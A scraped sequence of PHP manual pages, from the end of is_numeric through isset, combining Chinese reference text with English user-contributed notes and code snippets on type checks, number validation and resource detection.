if you want to be more restrictive of the '+-'  then you can use a separate trim for that and nest it.  Keep in mind that some notations pt the sign to the right of the number instead of to the left.  Depending upon your specific application you can also choose to ignore spaces and allow for 'e' notation.

I also use this approach when testing for other character sets such as Hex.
Magnus Deininger, dma05 at web dot de 07-Jan-2009 06:01
regarding the global vs. american numeral notations, it should be noted that at least in japanese, numbers aren't grouped with an extra symbol every three digits, but rather every four digits (for example 1,0000 instead of 10.000). also nadim's regexen are slightly suboptimal at one point having an unescaped '.' operator, and the whole thing could easily be combined into a single regex (speed and all).

adjustments:

<?php
$eng_or_world = preg_match
  ('/^[+-]?'. // start marker and sign prefix
  '(((([0-9]+)|([0-9]{1,4}(,[0-9]{3,4})+)))?(\\.[0-9])?([0-9]*)|'. // american
  '((([0-9]+)|([0-9]{1,4}(\\.[0-9]{3,4})+)))?(,[0-9])?([0-9]*))'. // world
  '(e[0-9]+)?'. // exponent
  '$/', // end marker
  $str) == 1;
?>

i'm sure this still isn't optimal, but it should also cover japanese-style numerals and it fixed a couple of other issues with the other regexen. it also allows for an exponent suffix, the pre-decimal digits are optional and it enforces using either grouped or ungrouped integer parts. should be easier to trim to your liking too.
Elwin van Huissteden 27-Mar-2007 04:05
To James holwell:

Maybe your function was more strickt, but profides FALSE to any numeric string that wasnt written in the English/American notition. To enable a person to use the both the English/American and the rest of the world's way:

<?php
  function my_is_numeric($value)
  {
   return (preg_match ("/\A(-){0, 1}([0-9]+)((,|.)[0-9]{3, 3})*((,|.)[0-9]){0, 1}([0-9]*)\z/" ,$value) == 1);
  }
?>

Other than that, i'd recommend using yours, if it works (i havent tested either yours or mine)
By using mine, there might be a slight chance to not being able to do calculations with the numeric string if it's not the English/American way.

(*Note:
-the E/A way of writing 1 million (with decimal for 1/50): 1,000,000.02
-the global way of writing 1 million (with decimal for 1/50): 1.000.000,02
james.holwell( at )exeter.ox.ac.uk 20-Mar-2007 02:07
In reply to www.kigoobe.com, a more strict expression is

<?php
  function my_is_numeric($value)
  {
    return (preg_match ("/^(-){0,1}([0-9]+)(,[0-9][0-9][0-9])*([.][0-9]){0,1}([0-9]*)$/", $value) == 1);
  }
?>

This will not match strings like -6,77.8,8 which are matched by the below expression, and instead requires a single decimal point, with at least one character following, and only permits comma-separation when the right hand side is a triplet.
Stephen 25-Jan-2007 09:31
The documentation is not completely precise here. is_numeric will also return true if the number begins with a decimal point  and/or a space, provided a number follows (rather than a letter or punctuation). So, it doesn't necessarily have to start with a digit.
moskalyuk at gmail dot com 21-Aug-2006 10:18
is_numeric fails on the hex values greater than LONG_MAX, so having a large hex value parsed through is_numeric would result in FALSE being returned even though the value is a valid hex number
rontarrant at NO_SPAMsympatico dot ca 23-Jul-2006 07:15
Here's an even simpler pair of functions for finding out if a number is odd or even:

function IS_ODD($number) { return($number & 1); }

function IS_EVEN($number) { return(!($number & 1)); }

Test:
$myNumber = 151;

if(IS_ODD($myNumber))
    echo("number is odd\n");
else
    echo("number is NOT odd\n");

if(IS_even($myNumber))
    echo("number is even\n");
else
    echo("number is NOT even\n");

Results:
number is odd
number is NOT even
andrea dot vacondio at gmail dot com 13-Dec-2005 07:52
Two simple functions using is_numeric:

<?php

 function is_odd($num){
     return (is_numeric($num)&($num&1));
 }

 function is_even($num){
     return (is_numeric($num)&(!($num&1)));
 }

 //examples
echo "1: odd? ".(is_odd(1)? "TRUE": "FALSE")."<br />";
//is_numeric(0) returns true
echo "0: odd? ".(is_odd(0)? "TRUE": "FALSE")."<br />";
echo "6: odd? ".(is_odd(6)? "TRUE": "FALSE")."<br />";
echo "\"italy\": odd? ".(is_odd("italy")? "TRUE": "FALSE")."<br />";
echo "null: odd? ".(is_odd(null)? "TRUE": "FALSE")."<br /><br />";
echo "1: even? ".(is_even(1)? "TRUE": "FALSE")."<br />";
echo "0: even? ".(is_even(0)? "TRUE": "FALSE")."<br />";
echo "6: even? ".(is_even(6)? "TRUE": "FALSE")."<br />";
echo "\"italy\": even? ".(is_even("italy")? "TRUE": "FALSE")."<br />";
echo "null: even? ".(is_even(null)? "TRUE": "FALSE")."<br />";

?>
And here is the result:
1: odd? TRUE
0: odd? FALSE
6: odd? FALSE
"italy": odd? FALSE
null: odd? FALSE

1: even? FALSE
0: even? TRUE
6: even? TRUE
"italy": even? FALSE
null: even? FALSE
jamespam at hotmail dot com 08-Aug-2005 02:31
Here's a function to determine if a variable represents a whole number:

function is_whole_number($var){
  return (is_numeric($var)&&(intval($var)==floatval($var)));
}

just simple stuff...
is_whole_number(2.00000000001); will return false
is_whole_number(2.00000000000); will return true
namik at hub-cafe dot net 29-Jul-2005 06:11
I needed a number_suffix function that takes numbers with thousand seperators (using number_format() function).  Note that this doesn't properly handle decimals.

Example:
<?= number_suffix('1,021') ?> returns: 1,021st

Also, increasing the range above the condition statements increases efficiency.  That's almost 20% of the numbers between 0 and 100 that get to end early.

<?
  function number_suffix($number)
  {
    // Validate and translate our input
    if ( is_numeric($number) )
    {
      // Get the last two digits (only once)
      $n = $number % 100;
    } else {
     // If the last two characters are numbers
     if ( preg_match( '/[0-9]?[0-9]$/', $number, $matches ) )
     {
       // Return the last one or two digits
       $n = array_pop($matches);
     } else {
       // Return the string, we can add a suffix to it
       return $number;
     }
    }
    // Skip the switch for as many numbers as possible.
    if ( $n > 3 && $n < 21 )
      return $number . 'th';

    // Determine the suffix for numbers ending in 1, 2 or 3, otherwise add a 'th'
    switch ( $n % 10 )
    {
      case '1': return $number . 'st';
      case '2': return $number . 'nd';
      case '3': return $number . 'rd';
      default:  return $number . 'th';
    }
  }
?>
sebu 28-Jul-2005 04:37
Referring to previous post "Be aware if you use is_numeric() or is_float() after using set_locale(LC_ALL,'lang') or set_locale(LC_NUMERIC,'lang')":

This is totally wrong!

This was the example code:

-----
  set_locale(LC_NUMERIC,'fr');
  is_numeric(12.25); // Return False
  is_numeric(12,25); // Return True
  is_float(12.25); //Return False
  is_float(12,25); //Return True
-----

This is nonsense!

- set_locale() does not exist, you must use setlocale() instead
- you have to enclose 12,25 with quotes; otherwise PHP will think that
the function gets _two_ arguments: 12 and 25 (depending on PHP version and setup you may additionally get a PHP warning)
- if you don't enclose 12,25 with quotes the first argument will be the inspected value (12), the second value (25) is discarded. And is_numeric(12) and is_float(12) is always TRUE

Corrected Example:

----
  setlocale(LC_NUMERIC,'fr');
  is_numeric(12.25); // Return True
  is_numeric("12,25"); // Return False
  is_float(12.25); //Return True
  is_float("12,25"); //Return False
----

Remarks:
- is_float(12.25) is _always_ TRUE, 12.25 is a PHP language construct (a "value") and the way PHP interpretes files is definitely _not_ affected by the locale
- is_float("12,25") is _always_ FALSE, since is_float (other than is_numeric): if the argument is a string then is_float() always returns FALSE since it does a strict check for floats

And the corrected example shows: you get the _same_ results for every possible locale, is_numeric() does not depend on the locale.
mdallaire at virtuelcom dot com 17-Nov-2004 04:23
Sometimes, we need to have no letters in the number and is_numeric does not quit the job.
You can try it this ways to make sure of the number format:

    function new_is_unsigned_float($val) {
        $val=str_replace(" ","",trim($val));
        return eregi("^([0-9])+([\.|,]([0-9])*)?$",$val);
    }

    function new_is_unsigned_integer($val) {
        $val=str_replace(" ","",trim($val));
        return eregi("^([0-9])+$",$val);
    }

    function new_is_signed_float($val) {
        $val=str_replace(" ","",trim($val));
        return eregi("^-?([0-9])+([\.|,]([0-9])*)?$",$val);
    }

    function new_is_signed_integer($val) {
        $val=str_replace(" ","",trim($val));
        return eregi("^-?([0-9])+$",$val);
    }

It returns 1 if okay and returns nothing "" if it's bad number formating.
renimar no spam at nospam yahoo dot com 03-May-2004 12:54
A little function to ordinalize numbers using is_numeric() and accounting for the numbers in the teens.

<?php
function ordinalize($num) {

        if (!is_numeric($num))
                return $num;

        if ($num >= 11 and $num <= 19)
                return $num."th";
        elseif ( $num % 10 == 1 )
                return $num."st";
        elseif ( $num % 10 == 2 )
                return $num."nd";
        elseif ( $num % 10 == 3 )
                return $num."rd";
        else
                return $num."th";

}

// Demo
for ($i=1; $i<=25; $i++) {
        print ordinalize($i) . " ";
}

// The loop returns:
// 1st 2nd 3rd 4th 5th 6th 7th 8th 9th 10th 11th 12th
// 13th 14th 15th 16th 17th 18th 19th 20th 21st 22nd
// 23rd 24th 25th

?>
joe at kewlmail dot net 16-Jan-2004 03:12
Here is a simple function that I found usefull for filtering user input into numbers. Basically, it attempts to fix fat fingering. For example:

$userString = "$654.4r5";

function numpass_filter($userString){
    $money = explode(".", $userString);
    //now $money[0] = "$645" and $money[1] = "4r5"

    //next remove all characters save 0 though 9
    //in both elements of the array
    $dollars = eregi_replace("[^0-9]", null, $money[0]);
    $cents = eregi_replace("[^0-9]", null, $money[1]);

    //if there was a decimal in the original string, put it back
    if((string)$cents!=null){
        $cents = "." . $cents;
    }

   $result = $dollars . $cents;

    return($result);
}

The output in this case would be '654.45'.
Please note that this function will work properly unless the user fat fingers an extra decimal in the wrong place.
kouber at saparev dot com 24-Nov-2003 03:05
Note that this function is not appropriate to check if "is_numeric" for very long strings. In fact, everything passed to this function is converted to long and then to a double. Anything greater than approximately 1.8e308 is too large for a double, so it becomes infinity, i.e. FALSE. What that means is that, for each string with more than 308 characters, is_numeric() will return FALSE, even if all chars are digits.

However, this behaviour is platform-specific.

http://www.php.net/manual/en/language.types.float.php

In such a case, it is suitable to use regular expressions:

function is_numeric_big($s=0) {
  return preg_match('/^-?\d+$/', $s);
}
stew_wilde at hotmail dot com 07-Aug-2003 01:25
When using the exec() function in php to execute anther php script, any command line arguments passed the script will lose their type association, regardless of whether they are numeric or not, the same seems to hold true for strings as well.

ie : two scripts test.php:

<?php
$val = trim($argv[1]);
echo is_string($val);
?>

and testwrapper.php:

<?php
$tmp = 5;
exec("php ./test.php ".$tmp);
?>

Executing testwrapper.php on the command line will echo nothing (ie false), and false will be returned regardless of any escaping of parameters or other such attempts to overcome this.  The solution then is to explicitly cast $val in test.php to be an int and then is_numeric will work.  But as stated the same test was performed using a string for $val and the is_string() function and the same thing occurs.  Not the end of the world, but something to be aware of :)
andi_nrw at hotmail dot com 12-Feb-2003 08:25
<?php
/* This function is not useful if you want
to check that someone has filled in only
numbers into a form because for example
4e4 and 444 are both "numeric".

I used a regular expression for this problem
and it works pretty good. Maybe it is a good
idea to write a function and then to use it.

$input_number = "444"; // Answer 1
$input_number = "44 "; // Answer 2
$input_number = "4 4"; // Answer 2
$input_number = "4e4"; // Answer 2
$input_number = "e44"; // Answer 2
$input_number = "e4e"; // Answer 2
$input_number = "abc"; // Answer 2
*/
$input_number = "444";

if (preg_match ("/^([0-9]+)$/", $input_number)) {
     print "Answer 1";
} else {
     print "Answer 2";
}
?>
eagleflyer2 at lycos dot com 06-Sep-2002 01:02
Hi !
Many of you may have experienced that the 'is_numeric' function seems to fail always when form entries are checked against their variable type. So the function seems to return  'false' even if the form entry was aparently a number or numeric string.

The solution is pretty simple and no subroutines or fancy operations are necessary to make the 'is_numeric' function usable for form entry checks:

Simply strip off all (invisible) characters that may be sent along with the value when submitting a form entry.

Just use the 'trim' function before 'is_numeric'.

Example:

$variable = trim($variable);
if (is_numeric($variable)
{...#do something#...}
else
{...#do something else#...}


检测变量是否是一个对象

  • ? is_numeric
  • is_real ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是一个对象

is_object

(PHP 4, PHP 5, PHP 7)

is_object — 检测变量是否是一个对象

描述

is_object ( mixed $var ) : bool

如果 var 是一个 object 则返回 TRUE，否则返回 FALSE。

参见 is_bool()、is_int()、is_integer()、is_float()、is_string() 和 is_array()。

User Contributed Notes

wadih at creationmw dot com 29-Jul-2017 06:47
Note that closures return true when passed to is_object():

<?php

echo
    is_object(
        function(){return "hello";}
    );

?>

Returns true (1)
shadow_games at abv dot bg 11-Jun-2014 03:42
here i created one function that i wanted to find but i had never found :X

    function compare_two_object_recursive($object_1, $object_2, $object_1_Identifier = false, $object_2_Identifier = false){
        $object1 = (array)$object_1;
        $object2 = (array)$object_2;
        $object3 = array();

        $o1i = $object_1_Identifier ? $object_1_Identifier : 1;
        $o2i = $object_2_Identifier ? $object_2_Identifier : 2;

        foreach($object1 as $key => $value){
            if(is_object($object1[$key])){
                $object1[$key] = (array)$object1[$key];
                $object2[$key] = (array)$object2[$key];
                $object3[$key] = (object)compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }elseif(is_array($object1[$key])){
                $object3[$key] = compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }else{
                if($object1[$key] == $object2[$key]){
                    $object3[$key]['comparison_status'] = "SAME";
                }else{
                    $object3[$key]['comparison_status'] = "NOT THE SAME";
                    $object3[$key][$o1i] = $object1[$key];
                    $object3[$key][$o2i] = $object2[$key];
                }
            }
        }
        return $object3;
    }
mark at not4you dot com 21-Sep-2011 12:23
Unserializes data as returned by the standard PHP serialize() function. If the unserialized object is not an array, it will be converted to one, particularily useful if it returns a __PHP_Incomplete_Class.

<?php
/**
 *
 * @param string $data Serialized data
 *
 * @return array    Unserialized array
 */
function unserialize2array($data) {
    $obj = unserialize($data);
    if(is_array($obj)) return $obj;
    $arr = array();
    foreach($obj as $k=>$v) {
        $arr[$k] = $v;
    }
    unset($arr['__PHP_Incomplete_Class_Name']);
    return $arr;
}
?>
peter dot nagel at portavita dot nl 22-Mar-2011 01:46
Note: is_object(null) returns false

This should actually be part of the input/output specification at the top of this page.
will 20-Mar-2010 02:36
Just discovered:
is_a  (  object $object  ,  string $class_name  )
Which checks if the object is of this class or has this class as one of its parents

Which seems to do what a lot here are trying to replicate
ldean at saleamp dot com 01-Sep-2009 07:16
Use instanceof() to check for a specific type.
Senthryl 17-Mar-2009 06:03
Cleaning it up even more:

<?php
function is_obj(&$object, $className = null, $caseSensitive = true) {
    return is_object($object) && (!is_string($className) || preg_match('/^'.$className.'$/D'.($caseSensitive ? '' : 'i'), get_class($object)));
}
?>
gregdangelo at gmail dot com 14-Apr-2008 12:03
cleaned up peter's code... use only one return statement

function is_obj( &$object, $check=null, $strict=true )
{
$result = false;
  if (is_object($object)) {
      if ($check == null) {
          $result =  true;
      } else {
           $object_name = get_class($object);
           $result =  ($strict === true)?
               ( $object_name == $check ):
               ( strtolower($object_name) == strtolower($check) );
      }
  }
return $result;
}
corychristison[aT-]lavacube(.dot)com 02-Feb-2005 05:06
Thank you victor AT fourstones DOT net.

I have written a function to do what victor has suggested, with the ease of use of is_object. It can be used to replace is_object(), but has an extra field [$check], to compare to a certain name. If $check is left empty, it will just check if &$object is an object.

<?php

function is_obj( &$object, $check=null, $strict=true )
{
    if( $check == null && is_object($object) )
    {
        return true;
    }
    if( is_object($object) )
    {
        $object_name = get_class($object);
        if( $strict === true )
        {
            if( $object_name == $check )
            {
                return true;
            }
        }
        else
        {
            if( strtolower($object_name) == strtolower($check) )
            {
                return true;
            }
        }
    }
}

?>

This could probably be cleaned up, but it's spaced out to be easy to read.
victor AT fourstones DOT net 01-Jan-2005 03:49
er, I don't think that's right, especially if calling from another object instance:

<?

function test_this()
{
    $c2 = new C2();
    $c2->func();
    $c1 = new C1();
    $c1->func();
    C1::func();
}

class C2
{
    function func()
    {
        C1::func();
    }
}

class C1
{
    function func()
    {
        if( isset($this) )
        {
            if( strtolower(get_class($this)) != 'c1' )
                print("oops\n");
            else
                print("this is ok\n" );
        }
        else
        {
            print("static call\n");
        }
    }
}

test_this();
?>

yields:
---------- run-php ----------

oops
this is ok
static call
corychristison[aT-]lavacube(.dot)com 01-Jan-2005 07:47
You can use is_object($this) to detect if the function is being called via instance or procedure.

Example:

<?php

class mrClass {

    function test( )
    {
        if( is_object($this) )
        {
         // do something for instance method
            echo 'this is an instance call <br />' . "\n";
        }
        else
        {
         // do something different for procedural method
            echo 'this is a procedure call <br />' . "\n";
        }
    }

}

$inst = new mrClass();
$inst->test();

mrClass::test();

?>

This would output:
this is an instance call <br />
this is a procedure call <br />

:-) Happy coding!
lbjay can be emailed at reallywow dot com 02-May-2003 12:18
I'm not even sure how to articulate this, so I'm going to just include test code. Maybe someone else will someday wonder the same thing.

<?
    error_reporting(E_ALL);
    class testParent
    {
        var $child;

        function testParent()
        {
            $this->child = new testChild();
        }
    }

    class testChild
    {
        function testChild()
        {
        }
    }

    $parent = new testParent();
    $parent2 = 'foobar';

    print join(',', Array(
        is_object($parent) ? 'yes' : 'no',
        is_object($parent->child) ? 'yes' : 'no',
        is_object($parent2) ? 'yes' : 'no',
        is_object($parent2->child) ? 'yes' : 'no'
    ));

?>

This prints "yes,yes,no,no". Basically this shows that you can use is_object to test if the child object is an object without worrying about an error if the parent object isn't an object either.


is_float 的别名

  • ? is_object
  • is_resource ?
  • PHP Manual
  • Variable handling 函数
  • is_float 的别名

is_real

(PHP 4, PHP 5, PHP 7)

is_real — is_float() 的别名

描述

此函数是 is_float() 的别名函数。

User Contributed Notes

There are no user contributed notes for this page.


检测变量是否为资源类型

  • ? is_real
  • is_scalar ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否为资源类型

is_resource

(PHP 4, PHP 5, PHP 7)

is_resource — 检测变量是否为资源类型

描述

is_resource ( mixed $var ) : bool

如果给出的参数 var 是 resource 类型，is_resource() 返回 TRUE，否则返回 FALSE。

查看 resource 类型文档获取更多的信息。

User Contributed Notes

Anonymous 29-Sep-2017 11:16
Note that is_resource() is unreliable. It considers closed resources as false:

<?php

$a = fopen('http://www.google.com', 'r');
var_dump(is_resource($a)); var_dump(is_scalar($a));
//bool(true)
//bool(false)

fclose($a);
var_dump(is_resource($a)); var_dump(is_scalar($a));
//bool(false)
//bool(false)

?>

That's the reason why some other people here have been confused and devised some complex (bad) "solutions" to detect resources...

There's a much better solution... In fact, I just showed it above, but here it is again with a more complete example:

<?php

$a = fopen('http://www.google.com', 'r');
var_dump(is_resource($a)); var_dump(is_scalar($a)); var_dump(is_object($a)); var_dump(is_array($a)); var_dump(is_null($a));
//bool(true)
//bool(false)
//bool(false)
//bool(false)
//bool(false)

?>

So how do you check if something is a resource?

Like this!

<?php

$a = fopen('http://www.google.com', 'r');
$isResource = is_resource($a) || ($a !== null && !is_scalar($a) && !is_array($a) && !is_object($a));
var_dump($isResource);
//bool(true)

fclose($a);

var_dump(is_resource($a));
//bool(false)

$isResource = is_resource($a) || ($a !== null && !is_scalar($a) && !is_array($a) && !is_object($a));
var_dump($isResource);
//bool(true)

?>

How it works:

- An active resource is a resource, so check that first for efficiency.
- Then branch to check what the variable is NOT:
- A resource is never NULL. (We do that check via `!== null` for efficiency).
- A resource is never Scalar (int, float, string, bool).
- A resource is never an array.
- A resource is never an object.
- Only one variable type remains if all of the above checks succeeded: IF it's NOT any of the above, then it's a closed resource!

Just surfed by and saw the bad and hacky methods other people had left, and wanted to help out with this proper technique. Good luck, everyone!

PS: The core problem is that is_resource() does a "loose" check for "living resource". I wish that it had a $strict parameter for "any resource" instead of these user-workarounds being necessary.
CertaiN 17-Jan-2014 05:05
Try this to know behavior:

<?php
function resource_test($resource, $name) {
    echo
        '[' . $name. ']',
        PHP_EOL,
        '(bool)$resource => ',
        $resource ? 'TRUE' : 'FALSE',
        PHP_EOL,
        'get_resource_type($resource) => ',
        get_resource_type($resource) ?: 'FALSE',
        PHP_EOL,
        'is_resoruce($resource) => ',
        is_resource($resource) ? 'TRUE' : 'FALSE',
        PHP_EOL,
        PHP_EOL
    ;
}

$resource = tmpfile();
resource_test($resource, 'Check Valid Resource');

fclose($resource);
resource_test($resource, 'Check Released Resource');

$resource = null;
resource_test($resource, 'Check NULL');
?>

It will be shown as...

[Check Valid Resource]
(bool)$resource => TRUE
get_resource_type($resource) => stream
is_resoruce($resource) => TRUE

[Check Released Resource]
(bool)$resource => TRUE
get_resource_type($resource) => Unknown
is_resoruce($resource) => FALSE

[Check NULL]
(bool)$resource => FALSE
get_resource_type($resource) => FALSE
Warning:  get_resource_type() expects parameter 1 to be resource, null given in ... on line 10
is_resoruce($resource) => FALSE
btleffler [AT] gmail [DOT] com 12-May-2011 01:55
I was recently trying to loop through some objects and convert them to arrays so that I could encode them to json strings.

I was running into issues when an element of one of my objects was a SoapClient. As it turns out, json_encode() doesn't like any resources to be passed to it. My simple fix was to use is_resource() to determine whether or not the variable I was looking at was a resource.

I quickly realized that is_resource() returns false for two out of the 3 resources that are typically in a SoapClient object. If the resource type is 'Unknown' according to var_dump() and get_resource_type(), is_resource() doesn't think that the variable is a resource!

My work around for this was to use get_resource_type() instead of is_resource(), but that function throws an error if the variable you're checking isn't a resource.

So how are you supposed to know when a variable is a resource if is_resource() is unreliable, and get_resource_type() gives errors if you don't pass it a resource?

I ended up doing something like this:

<?php

function isResource ($possibleResource) { return !is_null(@get_resource_type($possibleResource)); }

?>

The @ operator suppresses the errors thrown by get_resource_type() so it returns null if $possibleResource isn't a resource.

I spent way too long trying to figure this stuff out, so I hope this comment helps someone out if they run into the same problem I did.


检测变量是否是一个标量

  • ? is_resource
  • is_string ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是一个标量

is_scalar

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

is_scalar — 检测变量是否是一个标量

描述

is_scalar ( mixed $var ) : bool

如果给出的变量参数 var 是一个标量，is_scalar() 返回 TRUE，否则返回 FALSE。

标量变量是指那些包含了 integer、float、string 或 boolean的变量，而 array、object 和 resource 则不是标量。

<?php
function show_var($var) {
    if (is_scalar($var)) {
        echo $var;
    } else {
        var_dump($var);
    }
}
$pi = 3.1416;
$proteins = array("hemoglobin", "cytochrome c oxidase", "ferredoxin");

show_var($pi);
// 打印：3.1416

show_var($proteins)
// 打印：
// array(3) {
//   [0]=>
//   string(10) "hemoglobin"
//   [1]=>
//   string(20) "cytochrome c oxidase"
//   [2]=>
//   string(10) "ferredoxin"
// }
?>

Note:

尽管当前的 resource 类型是居于整数的，但 is_scalar() 不会把它们当作是标量，因为资源是抽象数据类型。不能依赖于执行细节，因为它可能会改变。

参见 is_bool()、is_numeric()、is_float()、is_int()、is_real()、is_string()、is_object()、is_array() 和 is_integer()。

User Contributed Notes

31-Jul-2006 08:59
Another warning in response to the previous note:
> just a warning as it appears that an empty value is not a scalar.

That statement is wrong--or, at least, has been fixed with a later revision than the one tested.  The following code generated the following output on PHP 4.3.9.

CODE:
<?php
    echo('is_scalar() test:'.EOL);
    echo("NULL: "      . print_R(is_scalar(NULL),     true) . EOL);
    echo("false: "    . print_R(is_scalar(false),   true) . EOL);
    echo("(empty): "  . print_R(is_scalar(''),      true) . EOL);
    echo("0: "         . print_R(is_scalar(0),       true) . EOL);
    echo("'0': "      . print_R(is_scalar('0'),     true) . EOL);
?>

OUTPUT:
is_scalar() test:
NULL:
false: 1
(empty): 1
0: 1
'0': 1

THUS:
   * NULL is NOT a scalar
   * false, (empty string), 0, and "0" ARE scalars
efelch at gmail dot com 17-Aug-2005 02:31
A scalar is a single item or value, compared to things like arrays and objects which have multiple values. This tends to be the standard definition of the word in terms of programming. An integer, character, etc are scalars. Strings are probably considered scalars since they only hold "one" value (the value represented by the characters represented) and nothing else.
Dr K 14-Aug-2005 03:48
Having hunted around the manual, I've not found a clear statement of what makes a type "scalar" (e.g. if some future version of the language introduces a new kind of type, what criterion will decide if it's "scalar"? - that goes beyond just listing what's scalar in the current version.)

In other lanuages, it means "has ordering operators" - i.e. "less than" and friends.

It (-:currently:-) appears to have the same meaning in PHP.
popanowel HAT hotmailZ DOT cum 14-May-2004 12:31
Hi ... for newbees here, I just want to mention that reference and scalar variable aren't the same. A reference is a pointer to a scalar, just like in C or C++.

<? php  // simple reference to scalar

  $a = 2;
  $ref = & $a;

  echo "$a <br> $ref";

?>
this should print out: "2 <br> 2".

Scalar class also exists. Look below:
<? php

  class Object_t {

     var $a;

     function Object_t ()  // constructor
     {
        $this->a = 1;
     }

  }

  $a = new Object_t; // we define a scalar object

  $ref_a = &a;

  echo "$a->a <br> $ref->a";

?>
again, this should echo: "1 <br> 1";

Here is another method isued in OOP to acheive on working only over reference to scalar object. Using this, you won't ever have to  ask yourself if you work on a copy of the scalar or its reference. You will only possess reference to the scalar object. If you want to duplicate the scalar object, you will have to create a function for that purpose that would read by the reference the values and assign them to another scalar of the same type... or an other type, it is as you wish at that moment.
<?php

  class objet_t {
     var $a;

     function object_t
     {
        $this->a = "patate_poil";
     }
  }

   function &get_ref($object_type)
   {
      // here we create a scalar object in memory
      // and we return it by reference to the calling
      // control scope.
      return &new $object_type;
   }

   $ref_object_t = get_ref(object_t);

   echo "$ref_object_t->a <br>";

?>
this should echo: "patate_poit <br>".

The only thing that I try to demonstrate is that scalar variable ARE object in memory while a reference is usualy a variable (scalar object) that contain the address of another scalar object, which contain the informations you want by using the reference.

Good Luck!

otek is popanowel HAT hotmailZ DOT cum


检测变量是否是字符串

  • ? is_scalar
  • isset ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是字符串

is_string

(PHP 4, PHP 5, PHP 7)

is_string — 检测变量是否是字符串

描述

is_string ( mixed $var ) : bool

如果 var 是 string 则返回 TRUE，否则返回 FALSE。

参见 is_bool()、is_int()、is_integer()、is_float()、is_real()、is_object() 和 is_array()。

User Contributed Notes

Peter Barney 13-Sep-2017 10:47
As noted earlier, is_string() returns false on an object that has a __toString() method. Here is a simple way to do a check that will work:

<?php
// determine if the passed argument can be treated like a string.
function is_stringy($text) {
    return (is_string($text) || (is_object($text) && method_exists($text, '__toString' ));
}
laszlo dot heredy shift-two gmail etc 27-Feb-2014 09:22
Using is_string() on an object will always return false (even with __toString()).

<?php
class B {
  public function __toString() {
    return "Instances of B() can be treated as a strings!\n";
  }
}

$b = new B();
print($b); //Instances of B() can be treated as a strings!
print(is_string($b) ? 'true' : 'false'); //false
?>


检测变量是否已设置并且非 NULL

  • ? is_string
  • print_r ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否已设置并且非 NULL

isset

(PHP 4, PHP 5, PHP 7)

isset — 检测变量是否已设置并且非 NULL

说明

isset ( mixed $var [, mixed $... ] ) : bool

检测变量是否设置，并且不是 NULL。

如果已经使用 unset() 释放了一个变量之后，它将不再是 isset()。若使用 isset() 测试一个被设置成 NULL 的变量，将返回 FALSE。同时要注意的是 null 字符（"\0"）并不等同于 PHP 的 NULL 常量。

如果一次传入多个参数，那么 isset() 只有在全部参数都以被设置时返回 TRUE 计算过程从左至右，中途遇到没有设置的变量时就会立即停止。

参数

var

要检查的变量。

...

其他变量。

返回值

如果 var 存在并且值不是 NULL 则返回 TRUE，否则返回 FALSE。

更新日志

版本 | 说明
5.4.0 | 检查字符的非数字偏移量将会返回 FALSE。

范例

Example #1 isset() 例子

<?php

$var = '';

// 结果为 TRUE，所以后边的文本将被打印出来。
if (isset($var)) {
    echo "This var is set so I will print.";
}

// 在后边的例子中，我们将使用 var_dump 输出 isset() 的返回值。
// the return value of isset().

$a = "test";
$b = "anothertest";

var_dump(isset($a));      // TRUE
var_dump(isset($a, $b)); // TRUE

unset ($a);

var_dump(isset($a));     // FALSE
var_dump(isset($a, $b)); // FALSE

$foo = NULL;
var_dump(isset($foo));   // FALSE

?>

这对于数组中的元素也同样有效：

<?php

$a = array ('test' => 1, 'hello' => NULL, 'pie' => array('a' => 'apple'));

var_dump(isset($a['test']));            // TRUE
var_dump(isset($a['foo']));             // FALSE
var_dump(isset($a['hello']));           // FALSE

// 键 'hello' 的值等于 NULL，所以被认为是未置值的。
// 如果想检测 NULL 键值，可以试试下边的方法。
var_dump(array_key_exists('hello', $a)); // TRUE

// Checking deeper array values
var_dump(isset($a['pie']['a']));        // TRUE
var_dump(isset($a['pie']['b']));        // FALSE
var_dump(isset($a['cake']['a']['b']));  // FALSE

?>

Example #2 在字符串位移中使用 isset()

PHP 5.4 改变了传入字符串位移时 isset() 的行为。

<?php
$expected_array_got_string = 'somestring';
var_dump(isset($expected_array_got_string['some_key']));
var_dump(isset($expected_array_got_string[0]));
var_dump(isset($expected_array_got_string['0']));
var_dump(isset($expected_array_got_string[0.5]));
var_dump(isset($expected_array_got_string['0.5']));
var_dump(isset($expected_array_got_string['0 Mostel']));
?>

以上例程在PHP 5.3中的输出：

bool(true)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

以上例程在PHP 5.4中的输出：

bool(false)
bool(true)
bool(true)
bool(true)
bool(false)
bool(false)

注释

Warning

isset() 只能用于变量，因为传递任何其它参数都将造成解析错误。若想检测常量是否已设置，可使用 defined() 函数。

Note: 因为是一个语言构造器而不是一个函数，不能被 可变函数 调用。

Note:

如果使用 isset() 来检查对象无法访问的属性，如果 __isset() 方法已经定义则会调用这个重载方法。

参见

  • empty() - 检查一个变量是否为空
  • __isset()
  • unset() - 释放给定的变量
  • defined() - 检查某个名称的常量是否存在
  • the type comparison tables
  • array_key_exists() - 检查数组里是否有指定的键名或索引
  • is_null() - 检测变量是否为 NULL
  • 错误控制 @ 运算符。

User Contributed Notes

razvan_bc at yahoo dot com 13-Feb-2019 07:25
In these days you can use ISSET to compare a sting length
COOOL! I love php !!!!

<?php
//FIRST:try to run the script like this,
//THEN: try to uncomment the seccond $str=

$yes="SURE!!!";
$no="NOPE !";

$str="12345";//the string is long 5 bytes ?
//$str="123456";

echo !isset($str{5}) ? $yes : $no;

?>
borshak at gmail dot com 24-Jun-2018 03:13
Would be nice to have is_set() alias for more language consistency (alike of is_int, is_bull so on).
venimus at gmail dot com 27-Apr-2018 11:46
Be warned that before checking an array key existence with isset() the key will be typecasted to integer if it is not a string or integer!

See Example #2 in http://php.net/manual/en/language.types.array.php

I.e.

$a = ['test']; // 'test' will have key 0
$key = false;

var_dump(isset($a[$key]) ); // true, because false will be typecasted to 0

It is not a problem with isset but rather the lose typing when you access keys in arrays
Hayley Watson 30-Jul-2017 01:12
